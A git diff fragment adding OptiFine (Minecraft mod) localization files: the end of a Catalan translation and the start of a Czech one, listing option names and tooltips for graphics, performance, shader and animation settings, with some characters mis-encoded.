+of.options.DYNAMIC_LIGHTS.tooltip.4= Detallats - perfecta (s'actualiza en temps real) +of.options.DYNAMIC_LIGHTS.tooltip.5= +of.options.DYNAMIC_LIGHTS.tooltip.6=Permeteix a alguns objectes emetre llum sense estar colocats. +of.options.DYNAMIC_LIGHTS.tooltip.7=Al equipar un d'aquests objectes en la mà, o al tirar-los, +of.options.DYNAMIC_LIGHTS.tooltip.8=s'iluminarà l'entorn (afecta a: torxes, roca brillant...). + +options.biomeBlendRadius.tooltip.1=L'efecte suavitza els colors entre biomes +options.biomeBlendRadius.tooltip.2= NO - sense efecte de transició (més ràpid) +options.biomeBlendRadius.tooltip.3= 5x5 - transició normal (per defecte) +options.biomeBlendRadius.tooltip.4= 15x15 - transició detallada (més lent) +options.biomeBlendRadius.tooltip.5= +options.biomeBlendRadius.tooltip.6=Els valors alts poden generar pics de lag +options.biomeBlendRadius.tooltip.7=i reduir la velocitat de càrrega dels chunks. + +# Performance + +of.options.SMOOTH_FPS=Estabilitzar FPS +of.options.SMOOTH_FPS.tooltip.1=Establitzar FPS nivellant el búfer del controlador gràfic +of.options.SMOOTH_FPS.tooltip.2= NO - sense estabilització +of.options.SMOOTH_FPS.tooltip.3= Sà - amb estabilització +of.options.SMOOTH_FPS.tooltip.4= +of.options.SMOOTH_FPS.tooltip.5=Aquesta opció depen del controlador gràfic i el seu efecte +of.options.SMOOTH_FPS.tooltip.6=no sempre es notori. + +of.options.SMOOTH_WORLD=Estabilitzar móns +of.options.SMOOTH_WORLD.tooltip.1=Eliminar els pics de lag causats pel servidor intern +of.options.SMOOTH_WORLD.tooltip.2= NO - sense estabilització +of.options.SMOOTH_WORLD.tooltip.3= Sà - amb estabilització +of.options.SMOOTH_WORLD.tooltip.4= +of.options.SMOOTH_WORLD.tooltip.5=Aquesta opció estabilitza els FPS distribuint la càrrega +of.options.SMOOTH_WORLD.tooltip.6=del servidor intern. +of.options.SMOOTH_WORLD.tooltip.7=No funciona en multijugador. + +of.options.FAST_RENDER=Renderitzat ràpid +of.options.FAST_RENDER.tooltip.1=Renderitzar ràpidament +of.options.FAST_RENDER.tooltip.2= NO - renderitzat estàndar (per defect) +of.options.FAST_RENDER.tooltip.3= Sà - renderitzat optimitzat (ràpid) +of.options.FAST_RENDER.tooltip.4= +of.options.FAST_RENDER.tooltip.5=Utilitza un algoritme de renderitzat millorat que redueix el +of.options.FAST_RENDER.tooltip.6=consum de GPU i augmenta els FPS. + +of.options.FAST_MATH=Càlculs ràpids +of.options.FAST_MATH.tooltip.1=Càlculs ràpids +of.options.FAST_MATH.tooltip.2= NO - estàndar (per defecte) +of.options.FAST_MATH.tooltip.3= Sà - sistema ràpid +of.options.FAST_MATH.tooltip.4= +of.options.FAST_MATH.tooltip.5=Utilitzar les funcions sin() i cos() de Java de forma +of.options.FAST_MATH.tooltip.6=optimitzada per a millorar l'ús de caché del CPU i +of.options.FAST_MATH.tooltip.7=augmentar els FPS. + +of.options.CHUNK_UPDATES=Actualitzacions de chunks +of.options.CHUNK_UPDATES.tooltip.1=Actualitzacions de chunks +of.options.CHUNK_UPDATES.tooltip.2= 1 - càrrega lenta, més FPS (per defecte) +of.options.CHUNK_UPDATES.tooltip.3= 3 - càrrega ràpida, menys FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - càrrega superràpida, molts menys FPS +of.options.CHUNK_UPDATES.tooltip.5= +of.options.CHUNK_UPDATES.tooltip.6=Nombre de chunks renderitzats per cada fotograma. +of.options.CHUNK_UPDATES.tooltip.7=Els valors més alts poden desestabilitzar els FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Actualització dinàmica +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Actualitzacions de chunks dinàmiques +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= NO - (per defecte) càrrega normal per fotograma +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Sà - més actualitzacions mentres estiguis quiet +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4= +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=Aquesta opció força l'actualització de chunks mentres +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=estàs quiet per a carregar el món més ràpidament. + +of.options.LAZY_CHUNK_LOADING=Càrrega de chunks vaga +of.options.LAZY_CHUNK_LOADING.tooltip.1=Càrrega de chunks vaga +of.options.LAZY_CHUNK_LOADING.tooltip.2= NO - càrrega de chunks predeterminada +of.options.LAZY_CHUNK_LOADING.tooltip.3= Sà - càrrega de chunks vaga (estabilitza la càrrega) +of.options.LAZY_CHUNK_LOADING.tooltip.4= +of.options.LAZY_CHUNK_LOADING.tooltip.5=Suavitza la càrrega interna de chunks distribuint-la entre +of.options.LAZY_CHUNK_LOADING.tooltip.6=diversos ticks. Desactíva'l si algunes parts del món no +of.options.LAZY_CHUNK_LOADING.tooltip.7=es carreguen correctament. +of.options.LAZY_CHUNK_LOADING.tooltip.8=Només funciona en móns locals amb CPUs d'un núcli. + +of.options.RENDER_REGIONS=Render. per regions +of.options.RENDER_REGIONS.tooltip.1=Renderitzat per regions +of.options.RENDER_REGIONS.tooltip.2= NO - no utilitzar renderitzat per regions (per defecte) +of.options.RENDER_REGIONS.tooltip.3= Sà - utilitzar renderitzat per regions +of.options.RENDER_REGIONS.tooltip.4= +of.options.RENDER_REGIONS.tooltip.5=Permet renderitzar el terreny molt ràpidament +of.options.RENDER_REGIONS.tooltip.6=quan et trobes a una gran altura. +of.options.RENDER_REGIONS.tooltip.7= +of.options.RENDER_REGIONS.tooltip.8=És més efectiu si s'activa "Utilitzar VBOs" o "VBO". + +of.options.SMART_ANIMATIONS=Animacions intel·ligents +of.options.SMART_ANIMATIONS.tooltip.1=Animacions intel·ligents +of.options.SMART_ANIMATIONS.tooltip.2= NO - no utilitzar animacions intel·ligents (per defecte) +of.options.SMART_ANIMATIONS.tooltip.3= Sà - utilitzar animacions intel·ligents +of.options.SMART_ANIMATIONS.tooltip.4= +of.options.SMART_ANIMATIONS.tooltip.5=Al activar-se, només s'animen les textures visibles. +of.options.SMART_ANIMATIONS.tooltip.6=D'aquesta forma es millora molt el rendiment (més FPS). +of.options.SMART_ANIMATIONS.tooltip.7=És molt útil quan s'utilitzen grans paquets de mods +of.options.SMART_ANIMATIONS.tooltip.8=o paquets de recursos d'alta resolució. + +# Animations + +of.options.animation.allOn=TODO Sà +of.options.animation.allOff=TODO NO +of.options.animation.dynamic=Dinàmiques + +of.options.ANIMATED_WATER=Aigua +of.options.ANIMATED_LAVA=Lava +of.options.ANIMATED_FIRE=Foc +of.options.ANIMATED_PORTAL=Portals +of.options.ANIMATED_REDSTONE=Pols de pedra vermella +of.options.ANIMATED_EXPLOSION=Explosions +of.options.ANIMATED_FLAME=Flamarades +of.options.ANIMATED_SMOKE=Fum +of.options.VOID_PARTICLES=Partícules del buit +of.options.WATER_PARTICLES=Partícules de l'aigua +of.options.RAIN_SPLASH=Salpicaduras de la pluja +of.options.PORTAL_PARTICLES=Partícules de portals +of.options.POTION_PARTICLES=Partícules de pocions +of.options.DRIPPING_WATER_LAVA=Gotej d'aigua/lava +of.options.ANIMATED_TERRAIN=Terreny animat +of.options.ANIMATED_TEXTURES=Textures animades +of.options.FIREWORK_PARTICLES=Partícules de cohets + +# Other + +of.options.LAGOMETER=Mesurador de lag +of.options.LAGOMETER.tooltip.1=Mostrar el mesurador de lag al utilitzar F3. +of.options.LAGOMETER.tooltip.2=* Taronja - Brossa en la memoria +of.options.LAGOMETER.tooltip.3=* Cian - Ticks +of.options.LAGOMETER.tooltip.4=* Blau - Executables programats +of.options.LAGOMETER.tooltip.5=* Lila - Càrrega de chunks +of.options.LAGOMETER.tooltip.6=* Vermell - Actualitzacions de chunks +of.options.LAGOMETER.tooltip.7=* Groc - Chequej de visibilitat +of.options.LAGOMETER.tooltip.8=* Verd - Terreny renderitzat + +of.options.PROFILER=Perfil debug +of.options.PROFILER.tooltip.1=Debug (també anomenat depuració) +of.options.PROFILER.tooltip.2= Sà - perfil debug activat, més lent +of.options.PROFILER.tooltip.3= NO - perfil debug desactivat, més ràpid +of.options.PROFILER.tooltip.4=El perfil debug reuneix i mostra més dades +of.options.PROFILER.tooltip.5=quan s'utilitza F3. + +of.options.WEATHER=Temps atmosfèric +of.options.WEATHER.tooltip.1= +of.options.WEATHER.tooltip.2= Sà - temps atmosfèric, més lent +of.options.WEATHER.tooltip.3= NO - temps atmosfèric, més ràpid +of.options.WEATHER.tooltip.4= +of.options.WEATHER.tooltip.5=Afecta a: pluja, neu i tempestes. +of.options.WEATHER.tooltip.6=Aquesta opció no funciona en multijugador. + +of.options.time.dayOnly=Només dia +of.options.time.nightOnly=Només nit + +of.options.TIME=Rellotge +of.options.TIME.tooltip.1=Rellotge (temps) +of.options.TIME.tooltip.2= Per defecte - ciclos normals de día/nit +of.options.TIME.tooltip.3= Només día - només és de día +of.options.TIME.tooltip.4= Només nit - només és de nit +of.options.TIME.tooltip.5=Aquesta opció només funciona en mode creatiu i solament +of.options.TIME.tooltip.6=en móns locals (en multijugador NO). + +options.fullscreen.tooltip.1=Pantalla completa +options.fullscreen.tooltip.2= Sà - jugar en pantalla completa +options.fullscreen.tooltip.3= NO - jugar en finestra +options.fullscreen.tooltip.4=Al jugar en pantalla completa el joc pot funcionar +options.fullscreen.tooltip.5=millor o pitjor, depén de la targeta gràfica. + +of.options.FULLSCREEN_MODE=Resolució +of.options.FULLSCREEN_MODE.tooltip.1=Resolució de pantalla completa +of.options.FULLSCREEN_MODE.tooltip.2= Per defecte - resolució del monitor, més lent +of.options.FULLSCREEN_MODE.tooltip.3= Ampli x alt - una altre resolució, pot anar més ràpid +of.options.FULLSCREEN_MODE.tooltip.4=La resolució cambiarà en la pantalla completa (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Normalment les més baixes augmenten el rendiment. + +of.options.SHOW_FPS=Mostrar FPS +of.options.SHOW_FPS.tooltip.1=Mostrar FPS i dades de renderitzat +of.options.SHOW_FPS.tooltip.2= C: - chunks renderitzats +of.options.SHOW_FPS.tooltip.3= E: - entitats renderitzades + "block entities" +of.options.SHOW_FPS.tooltip.4= U: - actualitzacions de chunks +of.options.SHOW_FPS.tooltip.5= +of.options.SHOW_FPS.tooltip.6=Aquestes dades redüides només es mostren quan no +of.options.SHOW_FPS.tooltip.7=s'utilitza F3. + +of.options.save.default=Original (2s) +of.options.save.20s=20s +of.options.save.3min=3min +of.options.save.30min=30min + +of.options.AUTOSAVE_TICKS=Autoguardat +of.options.AUTOSAVE_TICKS.tooltip.1=Interval de l'autoguardat +of.options.AUTOSAVE_TICKS.tooltip.2=L'original del joc (cada 2 seg.) NO ES RECOMANA. +of.options.AUTOSAVE_TICKS.tooltip.3=Posar-lo cada poc temps pot causar mal rendiment. + +options.anaglyph.tooltip.1=Visió en 3D + +of.options.SCREENSHOT_SIZE=Captures +of.options.SCREENSHOT_SIZE.tooltip.1=Tamany de les captures de pantalla +of.options.SCREENSHOT_SIZE.tooltip.2= Per defecte - tamany normal +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - tamanys personalitzats +of.options.SCREENSHOT_SIZE.tooltip.4= +of.options.SCREENSHOT_SIZE.tooltip.5=Les captures ocuparàn més espai al augmentar el tamany. +of.options.SCREENSHOT_SIZE.tooltip.6=No és compatible amb Renderitzat ràpido ni amb Antialiàsing. +of.options.SCREENSHOT_SIZE.tooltip.7=Requereix que la teva targeta gràfica suporti Framebuffer. + +of.options.ADVANCED_TOOLTIPS=Descripcions d'objectes +of.options.ADVANCED_TOOLTIPS.tooltip.1=Descripcions d'objetos en l'inventari +of.options.ADVANCED_TOOLTIPS.tooltip.2= Sà - mostrar descripcions +of.options.ADVANCED_TOOLTIPS.tooltip.3= NO - no mostrar descripcions (per defecte) +of.options.ADVANCED_TOOLTIPS.tooltip.4= +of.options.ADVANCED_TOOLTIPS.tooltip.5=Aquesta opció permet veure informació més detallada sobre +of.options.ADVANCED_TOOLTIPS.tooltip.6=objectes (ID, durabilitat) i shaders (ID, font, +of.options.ADVANCED_TOOLTIPS.tooltip.7=valor predeterminat). + +of.options.SHOW_GL_ERRORS=Mostrar errors de GL +of.options.SHOW_GL_ERRORS.tooltip.1=Mostrar errors d'OpenGL +of.options.SHOW_GL_ERRORS.tooltip.2=Al activar-se, els errors es mostren en el chat. +of.options.SHOW_GL_ERRORS.tooltip.3=Desactíva-ho si hi ha un problema irresoluble per a +of.options.SHOW_GL_ERRORS.tooltip.4=que els errors no et molestin. +of.options.SHOW_GL_ERRORS.tooltip.5= +of.options.SHOW_GL_ERRORS.tooltip.6=Encara que es desactivi, els errors segueixen apareixen en +of.options.SHOW_GL_ERRORS.tooltip.7=el registre (log) i poden seguir causant FPS inestables. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Fons de chat +of.options.CHAT_BACKGROUND.tooltip.1=Fons de chat +of.options.CHAT_BACKGROUND.tooltip.2= Per defecte - el fons apareix amb un tamany estàtic +of.options.CHAT_BACKGROUND.tooltip.3= Compacte - el fons apareix amb un tamany adaptat al text +of.options.CHAT_BACKGROUND.tooltip.4= NO - sense fons + +of.options.CHAT_SHADOW=Sombrejat de chat +of.options.CHAT_SHADOW.tooltip.1=Afegir ombra al text del chat +of.options.CHAT_SHADOW.tooltip.2= Sà - ombrejar-lo +of.options.CHAT_SHADOW.tooltip.3= NO - sense ombrejar-lo diff --git a/src/assets/minecraft/optifine/lang/cs_cz.lang b/src/assets/minecraft/optifine/lang/cs_cz.lang new file mode 100644 index 00000000..3a859003 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/cs_cz.lang @@ -0,0 +1,761 @@ +# Hlavní +of.general.ambiguous=dvojznaÄný +of.general.compact=Kompaktní +of.general.custom=Vlastní +of.general.from=Z +of.general.id=Id +of.general.max=Maximální +of.general.restart=restart +of.general.smart=Chytrá + +# Klávesy +of.key.zoom=PÅ™iblížení + +# Zprávy +of.message.aa.shaders1=Antialiasing není kompatibilní se stíny. +of.message.aa.shaders2=Prosím vypni stíny pro použití téhle možnosti. + +of.message.af.shaders1=Anizotropní filtrování není kompatibilní se stíny. +of.message.af.shaders2=Prosím vypni stíny pro použití téhle možnosti. + +of.message.fr.shaders1=Rychlý render není kompatibilní se stíny. +of.message.fr.shaders2=Prosím vypni stíny pro použití téhle možnosti. + +of.message.an.shaders1=3D zobrazení není kompatibilní se stíny. +of.message.an.shaders2=Prosím vypni stíny pro použití téhle možnosti. + +of.message.shaders.aa1=Stíny nejsou kompatibilní s antialiasingem. +of.message.shaders.aa2=Jdi do nastavení kvality -> antialiasing na NE a restartuj hru. + +of.message.shaders.af1=Stíny nejsou kompatibilní s anizotropním filtrováním. +of.message.shaders.af2=Jdi do nastavení kvality -> anizotropní filtrování na NE. + +of.message.shaders.fr1=Stíny nejsou komoatibilní s rychlým renderem. +of.message.shaders.fr2=Jdi do nastavení výkonu -> rychlý render na NE. + +of.message.shaders.an1=Stíny nejsou kompatibilní se 3D zobrazením. +of.message.shaders.an2=Jdi do nastavení ostatního -> 3D zobrazení na NE. + +of.message.shaders.nv1=Tento balíÄek stínů vyžaduje novÄ›jší verzi OptiFine: %s +of.message.shaders.nv2=JseÅ¡ si jist, že chceÅ¡ pokraÄovat? + +of.message.newVersion=Nová verze §eOptiFinu§f je k dispozici: §e%s§f +of.message.java64Bit=MůžeÅ¡ si nainstalovat §e64-bitovou Javu§f pro zvýšení výkonu. +of.message.openglError=§eChyba OpenGL§f: %s (%s) + +of.message.shaders.loading=NaÄítám stíny: %s + +of.message.other.reset=Vyresetovat vÅ¡echno nastavení videa (grafiky) na výchozí hodnoty? + +of.message.loadingVisibleChunks=NaÄítám vididetlné chunky + +# Úprava skinu + +of.options.skinCustomisation.ofCape=OptiFine kápÄ›... + +of.options.capeOF.title=OptiFine kápÄ› +of.options.capeOF.openEditor=Otevřít editor kápÄ› +of.options.capeOF.reloadCape=Obnovit kápi +of.options.capeOF.copyEditorLink=Zkopírovat do schránky + +of.message.capeOF.openEditor=Editor OptiFine kápÄ› by se nyní mÄ›l otevřít ve webovém prohližeÄi. +of.message.capeOF.openEditorError=Chyba pÅ™i otevírání editoru v prohlížeÄi. +of.message.capeOF.reloadCape=KápÄ› budu obnovena (znovu naÄtena) za 15 sekund. + +of.message.capeOF.error1=Chyba pÅ™i oěření se servery Mojangu. +of.message.capeOF.error2=Chyba: %s + +# Nastavení Grafiky + +options.graphics.tooltip.1=Vizuální kvalita +options.graphics.tooltip.2= Rychlá - nižší kvalita, rychlejší +options.graphics.tooltip.3= PÄ›kná - vyšší kvalita, pomalejší +options.graphics.tooltip.4=MÄ›ní vzhled mraků, listí, vody, +options.graphics.tooltip.5=stínů a stran trávníků. + +of.options.renderDistance.tiny=MaliÄký +of.options.renderDistance.short=Malý +of.options.renderDistance.normal=Normální +of.options.renderDistance.far=Velký +of.options.renderDistance.extreme=Extrémní +of.options.renderDistance.insane=Šílený +of.options.renderDistance.ludicrous=Neuvěřitelný + +options.renderDistance.tooltip.1=Dohled +options.renderDistance.tooltip.2= 2 MaliÄký - 32m (nejrychlejší) +options.renderDistance.tooltip.3= 8 Normální - 128m (normální) +options.renderDistance.tooltip.4= 16 Velký - 256m (pomalejší) +options.renderDistance.tooltip.5= 32 Extrémní - 512m (nejpomalejší!) velmi výkonovÄ› nároÄné +options.renderDistance.tooltip.6= 48 Šílený - 768m, potÅ™ebuje 2 GB pÅ™idÄ›lené RAM +options.renderDistance.tooltip.7= 64 Neuvěřitelný - 1024m, potÅ™ebuje 3 GB pÅ™idÄ›lené RAM +options.renderDistance.tooltip.8=Hodnoty nad 16 Velká jsou pouze pro lokální svÄ›ty. + +options.ao.tooltip.1=Vyhlazené stíny +options.ao.tooltip.2= NE - žádné vyhlazené osvÄ›tlení (rychlejší) +options.ao.tooltip.3= Minimální - jednoduÅ¡e vyhlazené osvÄ›tlení (pomalejší) +options.ao.tooltip.4= Maximální - kompletnÄ› vyhlazené osvÄ›tlení (nejpomalejší) + +options.framerateLimit.tooltip.1=Limit FPS +options.framerateLimit.tooltip.2= VSync - limitované pro max poÄet FPS pro monitor (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - nastavitelné +options.framerateLimit.tooltip.4= Neomezené - bez limitu (nejrychlejší) +options.framerateLimit.tooltip.5=FPS limit sníží FPS, i když +options.framerateLimit.tooltip.6=stanovená hodnota není pÅ™ekroÄena. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Úroveň vyhlazených stínů +of.options.AO_LEVEL.tooltip.1=Úroveň vyhlazených stínů +of.options.AO_LEVEL.tooltip.2= NE - žádné stíny +of.options.AO_LEVEL.tooltip.3= 50%% - svÄ›tlé stíny +of.options.AO_LEVEL.tooltip.4= 100%% - tmavé stíny + +options.viewBobbing.tooltip.1=Více realistický pohyb +options.viewBobbing.tooltip.2=Pokud používáš mipmapy, nastav na NE pro nejlepší výsledky. + +options.guiScale.tooltip.1=Velikost GUI +options.guiScale.tooltip.2= Automatická - maximální velikost +options.guiScale.tooltip.3= Malá, Normální, Velká - 1x až 3x +options.guiScale.tooltip.4= 4x do 10x - dostupné na 4K obrazovkách +options.guiScale.tooltip.5=Liché hodnoty (1x, 3x, 5x ...) nejsou kompatibilní s písmem Unicode. +options.guiScale.tooltip.6=Menší GUI mohou být rychlejší. + +options.vbo=Použít VBO +options.vbo.tooltip.1= Použít VBO +options.vbo.tooltip.2=Používá alternativní model renderování, který je +options.vbo.tooltip.3=rychlejší (5-10%%) oproti výchozímu renderování. + +options.gamma.tooltip.1=Zvýší jas tmavých objektů. +options.gamma.tooltip.2= Tmavý - standardní jas +options.gamma.tooltip.3= 1-99%% - nastavitelné +options.gamma.tooltip.4= Jasný - maximální jas tmavých objektů +options.gamma.tooltip.5=Tato možnost nezmÄ›ní jas +options.gamma.tooltip.6=dokonale Äerných objektů. + +options.anaglyph.tooltip.1=3D Zobrazení +options.anaglyph.tooltip.2=Zapne stereoskopické 3D, které používá rozdílné barvy +options.anaglyph.tooltip.3=pro každé oko. +options.anaglyph.tooltip.4=Vyžaduje Äerveno-modré brýle pro správné vidÄ›ní. + +options.attackIndicator.tooltip.1=Nastavuje pozici ukazatele útoku +options.attackIndicator.tooltip.2= Křížek - pod stÅ™edovým křížkem +options.attackIndicator.tooltip.3= LiÅ¡ta - nalevo od spodní liÅ¡ty +options.attackIndicator.tooltip.4= NE - žádný ukazatel útoku +options.attackIndicator.tooltip.5=Ukazatel útoku zobrazuje sílu útoku +options.attackIndicator.tooltip.6=aktuálnÄ› vybaveného itemu. + +of.options.ALTERNATE_BLOCKS=Různé bloky +options.blockAlternatives.tooltip.1=Alternativní bloky +options.blockAlternatives.tooltip.2=Používá rozdílné modely bloku pro nÄ›které modely. +options.blockAlternatives.tooltip.3=Záleží na vybraném balíÄku zdrojů. + +of.options.FOG_FANCY=Mlha +of.options.FOG_FANCY.tooltip.1=Typ mlhy +of.options.FOG_FANCY.tooltip.2= Rychlá - rychlejší mlha +of.options.FOG_FANCY.tooltip.3= PÄ›kná - pomalejší mlha, vypadá pÄ›knÄ›ji +of.options.FOG_FANCY.tooltip.4= NE - žádná mlha, rychlejší +of.options.FOG_FANCY.tooltip.5=PÄ›kná mlha se aktivuje jen když je podporována +of.options.FOG_FANCY.tooltip.6=grafickými ovladaÄi. + +of.options.FOG_START=ZaÄátek mlhy +of.options.FOG_START.tooltip.1=Start mlhy +of.options.FOG_START.tooltip.2= 0.2 - mlha zaÄne přímo u hráÄe +of.options.FOG_START.tooltip.3= 0.8 - mlha zaÄne daleko od hráÄe +of.options.FOG_START.tooltip.4=Tato možnost vÄ›tÅ¡inou neovlivňuje výkon. + +of.options.CHUNK_LOADING=NaÄítaní chunků +of.options.CHUNK_LOADING.tooltip.1= NaÄítaní chunků +of.options.CHUNK_LOADING.tooltip.2= Výchozí - nestabilní FPS pÅ™i naÄítání chunků +of.options.CHUNK_LOADING.tooltip.3= Plynulé - stabilní FPS +of.options.CHUNK_LOADING.tooltip.4= Více jader - stabilní FPS, 3x rychlejší naÄítání svÄ›ta +of.options.CHUNK_LOADING.tooltip.5=Plynulé a Více jader - odstraní sekání a +of.options.CHUNK_LOADING.tooltip.6=zmrazování způsobené naÄítáním chunků. +of.options.CHUNK_LOADING.tooltip.7=Více jader může 3x zrychlit naÄítání svÄ›ta a +of.options.CHUNK_LOADING.tooltip.8=zvýšit FPS používáním druhého (nebo jiného) jádra. +of.options.chunkLoading.smooth=Plynulé +of.options.chunkLoading.multiCore=Více jader + +of.options.shaders=Stíny... +of.options.shadersTitle=Stíny (shadery) + +of.options.shaders.packNone=ŽÃDNÉ +of.options.shaders.packDefault=(interní) + +of.options.shaders.ANTIALIASING=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.1=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.2= NE - (výchozí) žádný antialiasing (rychlejší) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - vyhlazené hrany (pomalejší) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA je post-processing efekt, který vyhladí +of.options.shaders.ANTIALIASING.tooltip.5=pixelované hrany a pÅ™echody barev. +of.options.shaders.ANTIALIASING.tooltip.6=Je rychlejší jak tradiÄní antialiasing +of.options.shaders.ANTIALIASING.tooltip.7=a je kompatibilní se stíny a rychlým renderem. + +of.options.shaders.NORMAL_MAP=Normální mapa +of.options.shaders.NORMAL_MAP.tooltip.1=Normální mapa +of.options.shaders.NORMAL_MAP.tooltip.2= ANO - zapne normální mapy (výchozí) +of.options.shaders.NORMAL_MAP.tooltip.3= NE - vypne normální mapy +of.options.shaders.NORMAL_MAP.tooltip.4=Normální mapy mohou být použity balíÄekem stínů +of.options.shaders.NORMAL_MAP.tooltip.5=na simulování 3D geometrie na rovných plochách. +of.options.shaders.NORMAL_MAP.tooltip.6=Textury normálních map záleži na aktuálním +of.options.shaders.NORMAL_MAP.tooltip.7=balíÄku zdrojů. + +of.options.shaders.SPECULAR_MAP=Spekulární mapa +of.options.shaders.SPECULAR_MAP.tooltip.1=Spekulární mapa +of.options.shaders.SPECULAR_MAP.tooltip.2= ANO - zapne spekulární mapy (výchozí) +of.options.shaders.SPECULAR_MAP.tooltip.3= NE - vypne spekulární mapy +of.options.shaders.SPECULAR_MAP.tooltip.4=Spekulární mapy mohou být použity balíÄkem stínů +of.options.shaders.SPECULAR_MAP.tooltip.5=pro simulování efektů reflekce. +of.options.shaders.SPECULAR_MAP.tooltip.6=Textury spekulárních map závisí +of.options.shaders.SPECULAR_MAP.tooltip.7=na aktuálním balíÄku zdrojů. + +of.options.shaders.RENDER_RES_MUL=Kvalita renderu +of.options.shaders.RENDER_RES_MUL.tooltip.1=Kvalita renderu +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - malá (nejrychlehjší) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - standardní (výchozí) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - vysoká (nejpomalejší) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Render kvalita ovládá velikost textury +of.options.shaders.RENDER_RES_MUL.tooltip.6=kterou balíÄek stínů renderuje. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Nižší hodnoty mohou být užiteÄné na 4K displejích. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Vyšší fungují jako antialiasing filtr. + +of.options.shaders.SHADOW_RES_MUL=Kvalita stínů +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Kvalita stínů +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - nízká (nejrychlejší) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - standardní (výchozí) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - vysoká (nejpomalejší) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Kvalita stínů ovládá velikost textury mapy stínů +of.options.shaders.SHADOW_RES_MUL.tooltip.6=použitou balíÄkem stínů. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Nižší hodnoty = nejasné, hrubší stíny. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Vyšší hodnoty = detailní, pÄ›kné stíny. + +of.options.shaders.HAND_DEPTH_MUL=Hloubka ruky +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Hloubka ruky +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - ruka přímo u kamery +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (výchozí) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - ruka daleko od kamery +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Hloubka ruky ovládá, jak jsou objekty v ruce a ruka +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=samotná daleko od kamery. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Pro balíÄky stínu, které používají rozmazání +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=by tohle mohlo zabránit rozmazání ruky. + +of.options.shaders.CLOUD_SHADOW=Stíny mraků + +of.options.shaders.OLD_HAND_LIGHT=Staré ruÄní osvÄ›tlení +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Staré osvÄ›tlení ruky +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Výchozí - ovládané balíÄkem stínů +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= ANO - použít staré svÄ›tlo +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= NE - použít nové svÄ›tlo +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Staré ruÄní osvÄ›tlení umožní balíÄkům stínů, které jen +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=rozeznávají itemy emitující svÄ›tlo fungovat i s +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=itemy v druhé ruce. + +of.options.shaders.OLD_LIGHTING=Staré osvÄ›tlení +of.options.shaders.OLD_LIGHTING.tooltip.1=Staré osvÄ›tlení +of.options.shaders.OLD_LIGHTING.tooltip.2= Výchozí - ovládané balíÄkem stínů +of.options.shaders.OLD_LIGHTING.tooltip.3= ANO - použít staré osvÄ›tlení +of.options.shaders.OLD_LIGHTING.tooltip.4= NE - nepoužívat staré osvÄ›tlení +of.options.shaders.OLD_LIGHTING.tooltip.5=Staré osvÄ›tlení ovládá svÄ›tlo, které +of.options.shaders.OLD_LIGHTING.tooltip.6=Minecraft dává na strany bloků. +of.options.shaders.OLD_LIGHTING.tooltip.7=BalíÄky stínů, které stíny používají Äasto mají +of.options.shaders.OLD_LIGHTING.tooltip.8=mnohem lepší osvÄ›tlení závisející na pozici slunce. + +of.options.shaders.DOWNLOAD=Stáhnout stíny +of.options.shaders.DOWNLOAD.tooltip.1=Stáhnout stíny (shadery) +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=OtevÅ™e stránku balíÄků stínů v internetovém prohlížeÄi. +of.options.shaders.DOWNLOAD.tooltip.4=Dej stáhnuté balíÄky do "složký stínů" +of.options.shaders.DOWNLOAD.tooltip.5=a ony se pak objeví v seznmu instalovaných stínů. + +of.options.shaders.SHADER_PACK=BalíÄek stínů (shader pack) + +of.options.shaders.shadersFolder=Složka stínů +of.options.shaders.shaderOptions=Možnosti stínů... + +of.options.shaderOptionsTitle=Možnosti stínů + +of.options.quality=Kvalita... +of.options.qualityTitle=Nastavení kvality + +of.options.details=Detaily... +of.options.detailsTitle=Nastavení detailů + +of.options.performance=Výkon... +of.options.performanceTitle=Nastavení výkonu + +of.options.animations=Animace... +of.options.animationsTitle=Nastavení animací + +of.options.other=Ostatní... +of.options.otherTitle=Zbytek nastavení + +of.options.other.reset=Vyresetovat Nastavení videa/grafiky ... + +of.shaders.profile=Profil + +# Kvalita + 